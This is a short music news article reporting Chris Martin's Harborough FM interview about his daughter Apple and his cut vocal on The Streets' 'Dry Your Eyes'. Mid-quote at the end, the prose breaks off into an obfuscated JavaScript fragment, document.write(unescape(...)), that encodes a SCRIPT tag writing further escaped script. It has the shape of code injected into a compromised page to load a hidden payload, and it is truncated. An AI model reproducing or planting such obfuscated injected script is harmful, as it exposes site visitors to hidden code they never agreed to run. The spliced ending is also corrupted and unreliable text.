Chris Martin speaks out

Martin surprised listeners when he spoke to long-time Coldplay fan Thom Costall on his radio show on South Leicestershire's Harborough FM last week. The singer revealed that all's been well since the birth of his baby daughter Apple with Gwyneth Paltrow.

“Everything's great. I've just been writing lyrics and doing baby things.” He enthused, “It's great man, it's the best thing that's ever happened. If someone told me my life at the moment would be changing nappies and writing lyrics I would've taken it, Y'know? It's my dream come true.”

When asked if the birth had inspired him musically Martin replied, “Once you know you're gonna have a baby that kicks in anyway, so its been happening for 10 months, but I mean I'm not singing about nappies or anything.”

As The Streets new release ‘Dry Your Eyes' heads into the Top 10, Martin also revealed how originally his vocals featured on the track, but never quite made it onto the finished version.

“Well it's an interesting story if you're into Coldplay and if you're not its really boring,” he said, “But Mike Skinner, his new single is called ‘Dry Your Eyes' and there was this version of it which I sang the chorus. But I said I didn't think it was as good as the version where he sang the chorus. Then he didn't think that was as good as the version where some other dude sang the chorus, so neither him nor me sing on the chorus.document.write(unescape("\074\123CR\111PT%3E\144oc%75\155%65n\04574.w%72\151te\050un\145\163ca\160e(%22